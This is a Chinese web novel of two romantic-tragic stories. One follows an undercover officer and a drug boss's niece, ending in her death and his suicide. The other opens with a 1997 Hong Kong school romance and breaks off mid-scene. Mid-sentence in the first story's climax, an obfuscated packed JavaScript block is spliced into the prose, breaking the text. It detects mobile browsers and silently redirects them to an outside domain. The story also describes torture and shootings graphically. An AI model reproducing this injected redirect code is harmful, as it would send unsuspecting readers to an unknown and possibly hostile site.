《每一个结局》 1. 可我从未好好吻过你的脸 “加分,给小费。” 慵懒的带着丝丝娇嗲的声音传来,每次丁年听到虞岁这种声音,都忍不住嘴角上扬。 眼底的柔情经由金丝眼镜的镜片放大,在阳光下愈发显得熠熠生辉。 明明从小到大听了十几年了,他却还是没办法免疫。 每次,每次听到,他还是会感叹,怎么会有人连声音都是透着灵气的。 “好的,岁岁公主,今天又想到什么精致的胡闹?”,丁年微微弯腰,一副听之任之的姿态,语气里带着几分宠溺。 虞岁眨了眨眼睛,狡黠一笑:“丁年,我想去海钓,现在就去。” 丁年直起身,看了眼表,故意皱起眉头:“现在出发,到海边差不多都要日落了,大小姐,您确定要这个点去海钓吗?晚上海风可大,您要是着凉了,我可没法跟魏叔交待” 虞岁抬头,勾勾手指示意他低头… 他慢慢俯身凑近,虞岁放大的脸尽在眼前,只见她微微偏头,水汪汪的大眼睛一瞬不瞬的盯着他问:“你不高兴么?嗯?” 他不语,慢慢收紧快要环住她的手臂,不错过她脸上的任何一个表情,眼底不经意的贪婪若隐若现。 她盯住他,又问了一遍:“只有我们两个,你不高兴么?” 丁年看着虞岁,她的神态里满是势在必得,又有几分小女孩的娇嗔,半晌,无奈地轻轻叹了口气,笑了笑,“走吧”。 一路上,虞岁有些不同于往常的沉默,出神的目光投放到窗外不断后退的风景上,视线飘忽不知道最终定格在哪处… 丁年起初还专注地开着车,偶尔用余光瞥一眼虞岁,嘴角始终挂着淡淡的笑意…渐渐的他也察觉到了虞岁的心不在焉…… 船上的海风轻轻吹拂着虞岁的发丝,她眯了眯眼,深呼吸一下感受着大海带来的自由与惬意。 丁年走到她身边,将外套披在她身上:“别着凉了”。 虞岁转头深深的看了他一眼,眼底暗流涌动着的是丁年读不懂的深邃。 向来镇定的他有一瞬间的慌神,他抬手抓住她柔软的辫子,带着细腻触感的发梢在他掌心里,有种不知名的破碎感… 他后知后觉的意识到,眼下的所作所为有些暧昧,但是他没有放开手,他甚至有些恐惧,好像一旦松手,她的发梢,她整个人,他都再也握不住了…… “岁岁,你有心事”,他的声音有些沙哑。 “丁年,我们认识多久了” 她的声音听上去跟往常没有差别,他心里升腾起的那丝说不清道不明的慌乱莫名淡了下去…… 随即放开被自己攥的乱乱的发尾,小心翼翼的抚平,抬手看了眼手腕上的表,轻声的回答:“12年零18天7个小时20分钟” 虞岁嘴角牵起一缕意味深长的笑,“12年了啊,时间过的真快” 丁年看着她,她身后不远处是连绵不绝的海岛,头顶是被落日余晖映照出的粉色天空,脚下是静谧的仿佛能吞噬一切的海面,这幅画面中的她美的惊人,他甚至不敢眨眼,怕她下一刻就随着海风翩然离去…… “岁岁”,他不知道说什么,只低声的近乎虔诚的呢喃着她的名字。 “丁年,你有没有骗过我?” 她突如其来的问题让他措手不及,他表面从容自若,只有微微颤抖的手指泄漏了他的心绪。 这一天,终于来了么? 父亲死后他就被父亲的好友带回家,经过一段时间的训练,警号重启后又被组织抹去一切痕迹、几经辗转送到虞岁身边。 虞岁是涉罪集团的大小姐,虽然是被舅舅收养的,但在家族里地位颇高。 而他,表面上是陪伴虞岁长大的保镖,实际上却是卧底。 他的任务是搜集这个涉毒集团的犯罪证据,将他们一网打尽,把一整个犯罪链上的所有相关人员绳之以法。 但就在不久前,随着调查的深入,他发现了一个惊人的秘密——虞岁的父母竟然是被她的舅舅杀死的,为了夺权和掌握集团的核心利益。 日子一天天过去,丁年的内心挣扎越来越剧烈。 他知道,迟早有一天,虞岁要面对那个残酷的真相。 但他还是无数次自欺欺人的想着,现在还早,再等等,眼下自己尚且自身难保,随时都有暴露的风险,不安定因素太多。 不告诉虞岁,以魏度对她的宠爱程度,只要她乖乖的保持她懵懂天真菟丝花的状态,她就能平安无事; 一旦告诉她,以她的脾气,事情就会发展成不可控的局面,12年了,他跟她朝夕相处,他最清楚,她不是看起来那么单纯,甜美可人的外表下是清醒坚定的心和强大的精神内核,宁为玉碎,不为瓦全,绝无可能跟毒瘤沆瀣一气。 可悲的是,现在不能翻脸,不是讲志气的时候,魏度马上有批货要出手,时间和交易地点他还不知道…… 还有相关的交易记录、账本、保护伞是谁……他都还没有完全掌握…… 心思百转千回,时间也就过了几分钟,他靠近她,为她理了理衣领的褶皱,温柔的看着她,“怎么突然这么问?我们不是说好了么?只有隐瞒,没有欺骗” 虞岁回看他,在跟他对视的过程里,像是从他的眼神里确定了什么,嘴角的笑容弧度越来越大,渐渐笑出了声,语气中满是轻快:“是啊,我们发过誓,不说谎话” 丁年暗暗松了口气,发泄般的却也控制着力道的扯了扯她的小辫子,“到底怎么了?不要让我担心” 虞岁突然郑重其事的对他说:“丁年,我们结婚吧” “结……结婚?”,丁年怔愣的瞪大双眼。 “诶呀,你看看你不值钱的样子,我要把你这幅尊容拍下来带回去逐帧分析,这哪里还像集团那些老头子嘴里的玉面虎啊?你不是煞神么?” 他回过神看她笑的花枝乱颤的样子,忍不住捏了捏她的脸,“你还笑” “怎么啦?犯法啊?”,虞岁故作恶声恶气的问他。 “怎么会?我愿意做你的受众” “那你是答应我的求婚喽?一言为定”,虞岁说着,抬手想跟他击掌为誓。 丁年看着她,眼眸里的柔情像要滴出水来,他抬起手碰到她的掌心,在她以为一触即分的时候扣住了她柔若无骨的手,做十指相扣状…… “岁岁,如果时间停在这一刻就好了,我这一生,有这一瞬间,已经赚了” “丁年,你这人吧,哪都好,就是太容易否定自己了,说话像个老头子……小伙子,你还年轻,说什么一生不一生的,好日子还在后头呢”,虞岁说完,还故作老成持重的拍了拍他的肩。 “你说什么?你嫌我老?”,丁年抓起她的发尾扫了下她的鼻尖…… 还来不及再说什么,就听到她的惊叹声:“哇,你快看,那是鲸鱼么?” 丁年顺着她的视线望过去,海面上有两条鲸鱼肆意嬉戏,还有一条若隐若现的,三条鲸鱼围的像是一个心形…… “岁岁,你真的愿意嫁给我么?” “不然呢?你后悔了?” 虞岁的话音刚落,丁年忙不迭的接话,“怎么会,我等这一天等了很久了!”……“可是魏叔会同意么?” “你放心,我跟舅舅提过了,他没有反对,只不过他最近有点忙,所以让我们晚上去札朗仓库找他,当面商定婚礼细节” 丁年来不及细想魏度这么做背后的深意,因为他发现刚刚不远处仿佛要与海平面相连的天空不知道从什么时候开始黑沉的骇人,不是夜色将至的黑,是要变天的黑…… 要变天了,风雨将至…… 等他把虞岁安全的带回车里,一场暴风雨来势汹汹,轰隆隆的雷声响彻云霄,狂风卷着骤雨胡乱的拍打着车窗…… 车里的气氛一时有些压抑,似乎在昭示着今天注定有个躁动的无法平静的夜晚,这样的夜,总觉得有事会发生。 一道银光撕裂了渐黑的夜空,虞岁的声音打破了车内的沉闷,“闪电划破夜色跟流星雨也有异曲同工之处,我要许愿,我希望越来越美,海吃不胖,日进斗金”…… 丁年的心情随着她的声音渐渐平静,忍不住调侃她,“你当这是许愿池么?就算是流星,也不能许这么多愿望啊” 虞岁顿了顿,“那……我就祝,我们两个,今夜,都平安吧” “平安?” “是,平安,像普通人一样”,她想她和他能像这世间的普通夫妻一样,平平安安,和和美美,白头偕老。 “平…安”,丁年重复了一遍这两个字,像是在咀嚼这两个字的意义,“嗯,祝我们今夜,都能平安!” 这回轮到虞岁惊奇了,“诶?你不是向来不信这套么?” “因为……我希望你平平安安啊” “丁年” “嗯?” 虞岁有些高深莫测的说:“我觉得结婚之后你一定是个恋爱脑” 丁年浅浅的笑了笑,“是啊,败给你了” “丁年” “嗯?” “丁年” “我在” “丁年” “怎么了” “没事,就是想叫你一声,你知道么?这个世界上最幸福的事就是,无论什么时候你叫人,那个人都会回应你”…… “虞岁” “嗯?” “你大学不该学服装设计” “怎么说?” “你该修哲学,你很有天赋” 虞岁悄悄的在后座翻了个白眼,“丁年,你答应过我的” “什么?” “不许熬夜背烂梗” 丁年失笑,“是是是,我的大小姐,不过我再怎么背,也比不过你这种天赋型选手” 虞岁像个炸毛的小猫,“好好看路,前面就到了” 车子停稳后,丁年下车撑伞把虞岁接下车,送到门口,想了想,“岁岁,你先进去,我去车里拿个东西,马上就来” 虞岁不疑有他,点点头转身走进仓库。 丁年快速的返回车上,摸到车座底下的一个暗格,从里面拿出一部小巧的手机,开机,输入一串烂熟于心的数字,编辑一排只有他和收件方能懂的符号,刚按下发送键…… 车窗外响起一阵急促的敲击声,丁年抬头看了一眼,脸色瞬间阴沉的可怕……是这几年一直跟他明里暗里斗的有来有往的黑枪。 因为这人最擅长见缝插针打黑枪,哪里有腌臢事哪里就有他。 丁年推了推眼镜,定了定神,慢条斯理的打开车门,下车,关门,一气呵成。 长身玉立气场十足的站在黑枪面前,也不说话,就沉沉的盯着他。 黑枪手指挠了挠眉尾,笑了,笑的又贱又欠,“年哥,整个集团,除了魏叔,我就服你,死到临头了,还这副别人欠你八百万的样子,你的嘴是租来的么?啊?话也懒得说,笑也懒得笑,是真舍不得用啊!” 他边说还要凑近了去看丁年的表情,抬手还想顺便帮丁年理理外套上的褶皱。 察觉到他的动作,丁年快他一步毫不留情的打掉了他的手,冷冷的说:“有事说事,没事滚远点”。 黑枪也不恼,反手给他竖个大拇指,“丁年,我不跟死人一般见识,你这个万年死人脸今天就会变成真的,你自己做了什么自己清楚,刚在车里玩的什么呀?拿出来吧”,说完,摆手示意身后的打手上前…… 怕丁年反抗,他一边整理袖口,一边好心的提醒,“这两位兄弟呢,是魏叔派来的,你最好不要动,大小姐还在里面等你” 丁年嗤笑出声,抬手制止了靠近的打手,把手机扔他脸上…… 路过黑枪的时候一脚踢到他小腿骨,把他踢的险些栽倒…… 按住他挣扎着要起身的肩膀,云淡风轻又不乏阴狠的说,“我记得我上次教过你,跟我说话的时候,把头低下”。 说完,手上松劲,拍了拍他的肩膀,大步走进仓库。 虞岁满脸悲伤的看着丁年一步一步向自己走来,不等开口,已经泪眼婆娑,她控制不住的颤抖着说:“你走吧丁年,没有什么婚礼了…婚礼是假的,交易的地点是假的,接头的时间也是假的,都是假的…一切都是舅舅的圈套”… 丁年愣了愣,电光火石间有很多抓不住的片段击中心脏,顿了顿心神,又自嘲般的笑了,“婚礼是假的,那你说想嫁我的心呢?也是假的么?” 虞岁没想到他的关注点在这里,眼底深处的阴霾一扫而光,平复了呼吸,“不是,只有这一项,是真的”。 “那就够了,其实我想过这一切都是假的,但我还是来了,我,不放心你” 以丁年的身手,刚刚在外面完全可以跑走,哪怕多年织的网落空,但是保自己全身而退还是绰绰有余的。 “还来得及,你快走吧”,虞岁焦急的推了推他,反被他扣住手腕拉到怀里…… 暗处响起一阵阴沉的笑声,“知道是假的你还来,真是蠢呐,丁年,你以为我真的不知道你在干什么吗?”魏度坐在沙发里,阴测测地看着他。 丁年没有说话,他知道此时任何辩解都没有用,他握紧了虞岁颤抖的手,目光如寒刀一样看向魏度,“你还记得赵子杰么?” 魏度的神情变了变,像是想起了什么,“你是?” “他是我父亲,十五年前死在你手里,那场缉毒战,被你逃掉了,死的是你的姐姐和姐夫”,丁年说到这,顿了一下,看了一眼虞岁,却发现虞岁很淡定,对于她父母的事,好像早都知道了。 十五年前,也是这样一个雨夜,丁年站在缉毒科会议室外,听着门里的警员愤怒的说着父亲生前最后的遭遇,“林局,法医说,赵队是被生生折磨死的,那些渣滓捣碎了他的眼睛,用特制的铁蒺藜扎进他的锁骨,带着倒刺的铁链穿过他的琵琶骨,他的十根手指都有被反复断了又接上再碾碎的痕迹,肋骨没有一根完整的,谷道都是破裂的... 最可恨的是,检测出林队的血液里有安非他命的成分,也就是说,他从始至终都是有知觉的,眼睁睁看着自己被折磨的.....我们...就这么算了么”…… 当初听到这些丁年感觉自己浑身的血都是凉的,他只觉得,生命真的很残忍,怎么能这么十恶不赦的生命体? 生命也真的好顽强,他的父亲,是靠着怎样的意志挺了那么久? 父亲的警号,由他重启;如今,也将到他这里终止。 仓库里的气氛凝滞住了,大家都沉浸在自己的思绪里,直到,虞岁出声打破了窒息感,“舅舅,你的帐,我等一下再跟你算,现在,我父母的帐,你该还了,你有两个选择,要么,放丁年走,要么…”,她说到这,缓慢的推开丁年的手,从口袋里掏出一把精巧的微型手枪,枪口对准魏度,一字一句的说:“要么,你,去,死”…… 魏度看着眼前这个自己放在手心里千娇万宠哄大的女孩,一时失语。 他先是无声的笑了,渐渐的声音越来越大,好像真的遇到了这世上最好笑的事情,甚至笑的眼泪都出来了,“岁岁,你现在是要用我送你的枪,用我教你的枪法,来杀我?是么?” 虞岁给他的回答就是调整好姿势,拨开手枪的保险环…… 就在双方僵持不下的时候,远方传来警笛声。是丁年眼中胜利的号角,也是魏度耳中的催命符…… 混乱中,魏度掏出了枪,指向丁年:“既然我逃不掉,那你也别想活,你们父子一脉,就是我的劫数!” 虞岁见状,回身挡在丁年面前:“舅舅,让他走,你还有退路!别逼我亲手杀你!” “岁岁,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033534|162368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开!”,多年的上位者,此时没有任何的威严,失去了所有的力气和手段,只剩下长辈对爱惜的晚辈的无可奈何。 虞岁不语,不着痕迹的给了丁年一个眼神,然后毫不犹豫的开枪……砰的一声打在了魏度的手腕上,巨大的痛楚让他瞬间丢掉了枪…丁年见状快速闪身解决了魏度的两个保镖…… “岁岁,警察马上就到,我先带你撤离这里到安全的地方去”,丁年说着去拉虞岁…… 砰!一声枪响,千钧一发的瞬间,虞岁扑倒了丁年…扑倒在他怀里…… 魏度见状也是气急败坏,咆哮着:“快叫救护车!快!”,不远处被放倒的打手还要哆哆嗦嗦的拨电话…… 丁年瞪大了眼睛,抱着虞岁,他摸到了她后背被血浸泡的伤口,声音颤抖:“岁岁,岁…岁…岁岁,你挺住……我…带你…回家……岁岁…岁岁…回应我啊……不要睡,跟我说说话…我的岁岁啊…你最怕疼了…” 虞岁轻轻动了动手指,“听…听我的…我疼…别让我…折…腾了…抱…我…起…起来…我想…跟你…说…说话” 丁年小心翼翼的,仿佛手里捧着世间最易碎的珍宝,缓慢的起身,换了个舒服的姿势,让她能舒服的窝在自己怀里,舒服的等着救护车来…… 虞岁勾了勾唇角:“我知道的…我一早就知道…你的身份…但我相信你的判断…你做卧底…一定…有你的理由…和担当…可舅舅…是我唯…一…的亲人…他是个坏的…但是我从…记事…起就只有舅舅…即使…他…恶贯满盈…只要…他对我好…我就不能不认…所以…原谅我…做不到干脆利落的…大义灭亲…我能做的就…是保护你不被…舅舅发现…用我的方式…你…不要…否定自己…你做的…是对的…我…为你骄傲…” “岁岁,岁岁,别说了,留着力气,挺住,求你…求你别离开我…”,丁年的声音里尽是哽咽和苦楚。 “拜托…我也是…学过医的…我的情况…我…很清楚…听我说…你听我说…我把我舅舅…这些年…来往人员名单…和交易记录…的芯片…都在这个…拼豆里…还…记得…这个么?”,虞岁边说,边颤抖着手从口袋里拿出一枚染了血的拼豆…… 丁年接到手里,重重的点头,眼角有泪滑落在虞岁的手上,“嗯,记得,那年,你好奇这是什么,我答应你要送给你的,diy 的意义在于,这份东西只属于你” 虞岁听着他的话,脸上一瞬间焕发出光彩,她指尖轻轻指了下另一边的口袋,丁年会意,连忙探进口袋取出一个小瓶子,握住她的手放到她手心里…… “丁年…这里面…是我画的…婚戒图纸和…我给你的…情书…开心么?…我教过你的…怎么…回答…” “开心!开心晕了!” 虞岁笑了,笑的志得意满,“丁年…你在我心头天平最重的一边…可我从未好好吻过你的脸…收下这个…我就当…已经嫁过你了…” 说完,她猛的咳出一口血…声音越来越轻……慢慢放开了握着的瓶子…… “岁岁!岁岁!岁岁…岁岁…别丢下我…求求你…” 察觉到怀里的身体渐渐变冷,丁年的目光越来越呆滞…他摘掉了她最爱看他戴的金丝眼镜…吻了吻她的脸…… 我在与你相识的第12年零18天,永失所爱。 世上再无虞岁,无人爱我丁年。 魏度颤抖着身体走近丁年和虞岁,丁年也不看他,或者说丁年眼里再看不到任何人,他只捡起身边的枪,凭感觉给了魏度一枪… 这一枪打到了魏度的大腿上,让他无法再靠近…… “岁岁,我们回家,我带你回家”,丁年抱着虞岁缓慢起身……路过魏度的时候,他停住脚步,看着虞岁的脸,哑声说: “其实,你根本不用这么大费周章,她不在了,你以为我会独活么?我还能活么?” 他单手抱着她,走到仓库口,黑枪举着枪堵住他,“丁年,你是卧底,想活命的话就乖乖听话,条子就在外面,现在你是人质,懂么?” 丁年像是没听懂一样,拿着枪的手揉了揉耳朵,“你说什么?让我活?我说我想活了么?” 黑枪觉得摘掉眼镜的丁年就像疯狗一样,整个人透着一股子邪劲儿。 他看着这样的丁年,也是上头了:“你他妈在这凹什么造型?!那一枪要不是大小姐扑过去给你挡着,你以为你还有命站在这里跟老子狂??!” 丁年听到这话整个人呈现一种诡异的兴奋状态,“是你,开的枪,对么?” “是又怎么样?”,他话音未落,丁年砰的一枪打飞了他扣着扳机的手指…… 不等他说话,丁年砰砰又开了两枪…… “黑枪,你大小姐这把枪,我给他装的子弹,一共12发,魏度两颗,我一颗,你算算还有几颗?” 黑枪这时候有点慌了,他怎么就嘴欠提大小姐呢,丁年现在就是有一种平静的疯感……谁也不知道他下一刻会做什么…… “不说话?”……砰……丁年又开了一枪…… “算不明白?嗯?”……丁年接着砰砰两枪…… “年哥年哥!还有三枪!年哥!” 丁年歪头动了动脖子,“答对了!还有三枪,现在,你开始跑吧” “啊?” 丁年枪口点了点他,“还有三颗子弹属于你,快,动起来,猎杀开始了!” “年哥!年哥!给我个痛快吧!” 丁年嘴脸泛起一抹冷笑,砰的一声,打中他的肩膀…… “丁年你大爷!你他妈不是警察么?警察杀人啦!警察杀人啦!” 门外很快传来了扩音器的声音,“里面的人,放下武器,打开门,抱头走出来!” 丁年笑着摇了摇头,“你记住,人民警察是正义使者,但我现在,不是警察,我是一个死人” 砰…砰……连着两枪……堪堪避开他的要害…… 黑枪明白的晚了,丁年就是一条疯狗,不是感觉!他就是! 黑枪强撑着跑到门口打开门,举起手,门外的特种部队蜂拥而来……救护车上的医护人员紧随其后…… 为首一个慈眉善目的中年男子疾步走到丁年身旁,一开口,都是长辈的关爱,“阿年,辛苦了!” 魏度捂着手腕一瘸一拐的走出来,看着走过来的医护人员,冷哼着说:“孩子死了来奶了!” 丁年对眼下发生的一切充耳不闻,他把虞岁给他的拼豆里的芯片抠出来交给林局长……然后一步一步走下台阶…… 身后传来林局关切的声音:“孩子,好好活着!” 丁年走下最后一节台阶停住,他站在台阶下,抬头看向林局,昏黄的灯光下,他满脸都写着支离破碎, “林叔你知道么?岁岁她喜欢石榴,有一年,我为了给她剥石榴,弄的满手都是黑色的汁液,我说了一句汁液难洗,她就假装赌气半天不理我,说我是不想给她剥,我那时候就想,这世上怎么会有这么可爱的女孩子?连生气的时候都这样灵动……她一定是上天对我的眷顾,像天使一样两次拯救我的世界……可现在……就算我满手的石榴汁……也找不回我那个爱吃石榴,我想要给她剥石榴的女孩了…” “我说的意思你懂么?算了,你肯定听不懂,你能想到的也就是我在抱怨石榴汁难洗了……” “阿年,你是句句不提爱,句句不离爱” 丁年笑了笑,又像是自嘲的般的自言自语,“我怎么活得下去啊”…… 他转身就走了,再没有停留,再没有回头。 等到快要收队的时候,众人只听到一声枪响惊起寒鸦一片……林局闭了闭眼,这孩子,终究把最后一颗子弹留给了自己。 岁岁啊,我会在下一个故事的结局等你,我知道你怕黑,别怕,我来了。 你看,雨停了。 2. 盛装出席,来参加我们的婚礼 1997 年,红港的街头,霓虹灯牌闪烁,入目奢华糜烂,四下都是醉生梦死的气息。 湾仔的圣地亚高中里,丁年总是穿着浆洗得有些发白的校服,背着稍显破旧的书包,默默穿梭在校园中。 他身形瘦削,那双眼,总是低垂着,偶尔抬眸,流露出来的尽是麻木和漠然,走路也是习惯性低着头。 因为他说着一口带着乡音的普通话,在这所学校里,就成了旁人眼中不折不扣的“异类”。 校园小报里,他更是常客。那些眼高于顶、整日无所事事的学生,好似找到了宣泄无聊的出口,取乐的目标。 用尖酸刻薄的言语肆意践踏他的尊严,只为了在这兵荒马乱的青春里、在这死气沉沉的校园生活中寻得一丝刺激,全然不顾这些言语会给丁年带来怎样的伤害 。 他的一言一行被无限放大,最想见到他的窘迫,才足以当茶余饭后的谈资 。 欺软怕硬是弱者天性,在别人身上找存在感才能引起乌合之众的共鸣。 一辆计程车缓缓停下,虞岁从车上下来。她穿一件甜辣的小抹胸,同色系半身裙,一头长发编成辫子垂在一侧耳后。 虞岁边走边接电话:“係啊,大佬,已经到咗啦,有冇搞错啊,我都几大个人啦,仲要我嚟扮高中生。” 也不知道那头说了什么,虞岁翻了个白眼…… “你确定会喺学校入面交易?好啦好啦,噉讲定喇,就三日喇”…… 丁年正低着头抱着一摞书本匆匆往教室赶,因为走得太急,几缕头发被汗水浸湿贴在额头。 在转角处,两人毫无防备地撞了个满怀。 丁年怀里的书本散落一地,他慌乱地蹲下身子去捡,嘴里不停说着“对不起”。 虞岁收线,蹲下去帮忙,当她的手碰到丁年的手时,丁年像触电一般缩了回去。 虞岁抬起头,看到丁年那带着怯懦的眼神,心中不禁泛起一丝好奇。 他的眼神像受惊的小兽,整个人像是从夜空掉下来的星星。虞岁忍不住想要逗弄他, “你冇嘢吖嘛?” 丁年愣了一下,他听不太懂虞岁的话,脸颊微红地摇了摇头。 虞岁想到刚刚丁年说的是带着乡音的普通话,于是改用普通话问他:“同学,我是新来的转学生,你能告诉我高三七班怎么走吗?” 她蹲在他面前,从他的视角看过去,拐角处玻璃折射的光刚好映照在她身上,她被笼罩在光影中,美的让他炫目。 她就像是在阳光下盛放的石榴花,神秘的,娇艳欲滴的,生机勃勃的,散发着一种恣意不羁的气息。 钟意一个人呢件事,嚟得令人措手不及,又冇办法抗拒。 一见钟情这种感觉,就是你在我面前,像划穿黑暗的光,笔直的重重的击到我的心脏。 当我的心跳像五线谱上自由跳动又无法控制的音符一样律动,奏出的旋律就是名为命定的篇章。 丁年对虞岁的第一印象就是,她是连光都偏爱的人,而他,被光所诱惑,为她沉沦。 此后无数个午夜梦回,他都被她牵引着去到美仑美奂的秘境。 他收回视线,站起来,舔了舔嘴唇,鼓起勇气对她说:“是我的班级,我带你去吧” 虞岁也站起身,把手里他的书递给他,“谢谢你啊,书包仔~” 丁年不自在的拉了拉书包的带子,耳朵红红的。 看他这样,更有趣了呢,虞岁心里想。她甚至忍不住想吹声口哨。 虞岁注意到,快进教室的时候,丁年加快脚步,远远的拉开跟自己的距离……很快她就明白丁年为什么这样了,这些学生,呵,真是欠揍。 第一天她就怒气值拉满了,怎么会有人坏成这个样子,无孔不入的针对丁年。 “喂,书包仔”,放学后虞岁在校门口堵住了丁年。 “什么事?” “你怎么不还手?” “没有必要”,丁年是真的觉得没有必要,那些欺凌他的人,来来去去都是些小儿科的手段,来来回回就是那些话术。 说白了,给他们画面都算是给他们脸了。 “你这个想法不对,就因为你没有反抗,他们才会变本加厉,是你助长了他们狂欢的气焰”,虞岁看他好像听进去了,又接着说:“算了,被压迫久了一时也改不了,下回我罩着你,只是你别又像在教室一样不理人”。 丁年舔了舔嘴唇,“我理你”。 “嗯,这个路子就对了,书包仔” 隔天,当虞岁和丁年一前一后的进入教室,又坐在一起,教室里的学生像是嗅到蜜糖的苍蝇一样,从小声议论到大声哄闹…… “喂,你们看,那个乡巴佬旁边怎么坐了那个转校生!” “就是啊,她怎么跟乡巴佬凑一块去了,真奇怪”……各种刺耳的声音在教室里回荡。 虞岁对这些声音充耳不闻,若无其事地掏出小镜子看看脸上的妆有没有卡粉…… 转过头看到丁年皱着眉头不知道在想什么,她满不在乎的对他说:“别在意,我不需要谁说我好,也不怕谁说我不好”。 有的人就是这样,越不理他他越来劲,就要找一个存在感。 嘈杂的人声中有个一脸猥琐凶相、染着一头黄毛的飞机头一直关注着虞岁这边,大概是看她没什么反应,索性走过来…… 他嘴里嚼着口香糖,满脸不屑地看着丁年,对虞岁说“哟,妹妹仔,你点解会同呢个废柴喺埋一齐啊?同我哋玩先够过瘾啦 ”,飞机头一边说着,一边伸手想去碰虞岁的小镜子。 虞岁眼疾手快,甩手收回小镜子,冷冷地看着阿强说:“躝开,咪喺度搞搞震”…… 飞机头没想到这个看起来香香软软的女孩子居然敢这么呛他,顿时恼羞成怒,像是怕丁年听不懂一样,也不说粤语了:“你别给脸不要脸,在这学校,还没人敢这么跟老子说话”, 又指着丁年,“让我滚开别没事找事?老子今天就没事找事了,你以为这个废物敢跟老子大小声么?” 他身后的几个跟班也跟着起哄,摆出一副要动手的架势。 飞机头嘴上说着,手也没闲着,推搡了一下虞岁的肩膀,反手还想拉她的手腕…… 丁年突然攥住了他的胳膊,“谁让你碰她的?想死?” 他这个反应,飞机头也是愣住了,不仅是他,周围的人都惊得瞪大了眼睛,谁也没想到平日里寡言少语,任人欺负的丁年,竟会有这样的举动。 短暂的寂静后,飞机头爆发出一阵刺耳的狂笑:“哈哈哈哈,你这废物是不是吃错药了?就凭你还想英雄救美?”他身后的跟班们也跟着哄笑起来,那笑声里充满了嘲讽和不屑。 丁年也不跟他废话,猛的扯了他一下,一个漂亮的擒拿手,过肩摔,动作行云流水,等飞机头反应过来已经躺在地上了…… 丁年居高临下的俯视着他,从口袋里掏出手帕擦了擦手,扔在飞机头身上,轻飘飘的说了句:“医药费”。 虞岁率先反应过来,吹了声口哨,给他竖了个大拇指,“好俊俏的身手”。 飞机头的跟班忙不迭的上前把他拉起来,许是感觉丢脸,几个人匆匆忙忙的丢下句“你等着”,就走了,颇有几分落荒而逃的意味。 一下子,四周就安静了,众人还沉浸在刚刚丁年的反应里,谁能想到呢…… 虞岁看着丁年,直看得他耳朵又红了,有些不好意思的说:“怎么了?” “昨天你不是说没有必要跟他们计较么?” “我是说我,对我来说没有必要” “嗯?什么意思?”,虞岁眨眨眼睛表示没有听懂。 “我是觉得他们对我做什么,没有必要还手” 虞岁听懂了,对他做的事、他懒得跟他们一般见识,但是今天是对自己,他就觉得很有必要了。 “所以,是因为我,对么?” “嗯,夸夸我啊” “干得漂亮,书包仔”…… 虞岁就觉得丁年也是一个谜,他那套擒拿手起势很是凌厉,但看得出来他又留了力道…… 她很好奇他什么来头,想着等放学后问问,左等右等太阳都快落山了也没找到他人…… 有成群结伴的学生七嘴八舌的说着,“快点去旁边的小巷,飞机头和一帮古惑仔堵住了那个乡巴佬,这次有热闹看了” “搞快点,慢了赶不上了”…… “扑街,唔好推我”…… 虞岁紧随其后跟着人流快步走向她们说的小巷…… 等到虞岁拨开里三层外三层的人群,就看到丁年倒在地上,浑身狼狈不堪。 他双手紧紧护住脑袋,那姿势标准得像是受过专业训练一样,只有那些历经打斗、知晓如何在攻击下保护自己的人,才会有如此本能的防御动作。 这一瞬间,虞岁心里的疑惑更深一层。 周围几个染着夸张发色的古惑仔正围着他,一边肆意地笑着,一边用脚时不时地踢向丁年。 “哼,就你呢个衰仔仲敢反抗?”一个手臂上文着青龙的古惑仔啐了一口,那模样嚣张至极。 是了,就是这个扑街仔!正撞到自己枪口上! “都畀我停手!”,虞岁大吼一声,心里翻腾着的浓浓怒意压都压不住。 周围的人被这突如其来的气势震慑,脚下动作不由得顿住。 虞岁疾步走到他面前,蹲下身子,轻轻拍了拍他的肩膀,轻声说道:“丁年,是我,没事了。” 丁年缓缓抬起头,眼中有慌乱一闪而过,紧绷的神情稍稍放松了一些。“虞岁……”他声音沙哑,透着几分劫后余生的疲惫。 手臂文着青龙的古惑仔这时候也反应过来,见虞岁只有一个人来这,笑的更是猖獗:“妹妹仔,够正点,来了就别走了”…… 虞岁面色一沉,迅速将丁年护在身后,低声讲道:“一阵揾机会走,唔好理我。” 想了想,又说:“等一下找机会走,不用管我”,说完把丁年扶到一旁干净的空地上坐下…… 看了眼四周,捡起个废弃的木拖把,抓紧棍身,重重的踩下去,咔嚓一声脆响,拖把变成两段…… 虞岁活动活动手指握住棍身,歪了歪头动动脖子,像是想到了什么,从口袋里拿出电话噼里啪啦的发着简讯…… 整个过程几分钟,但是纹龙画虎的古惑仔显然没什么耐心,却又像抓住老鼠的猫一样,觉得今天能困死虞岁,不断的挑衅她, “妹妹仔,这么喜欢棍子啊,跟哥哥走,让你握个够”…… “哈哈哈,妹妹仔,跟着我们水哥,吃香的喝辣的,每天都能过的很滋润”…… “哎哟”一声惊呼,说话的人被丁年砸到了头,鲜血瞬间涌出……几个人当下冲过去对着丁年一顿拳打脚踢…… 听到丁年的闷哼,虞岁像是杀红了眼的将军,下了死手一下一下、一个一个的打过去,动作利落,丝毫不拖泥带水。 她的眼底是浓稠到化不开的怒火,周身散发着令人胆寒的肃杀之气。 她每一次挥棍,仿佛蕴含着千钧之力;每一次踢腿,都透着狠辣的力道。 她的攻击毫不留情,一下接着一下,一个目标接着一个目标,没有半分迟疑与拖沓。 其中一个身形高大的家伙,试图凭借自己的体格优势来阻挡虞岁。 他大吼一声,挥舞着粗壮的手臂,想要给虞岁来个迎头痛击。只见虞岁侧身一闪,轻巧的避开了这看似凶猛的攻击。 紧接着,她顺势一个回旋踢,精准地踢在了对方的腰间。 那家伙连哼都没来得及哼一声,便如同一堵倒塌的墙一般,重重地摔倒在地,半天爬不起来。 另一个染着蓝发的古惑仔见状,从口袋里掏出一把小刀,虚张声势地挥动着…… 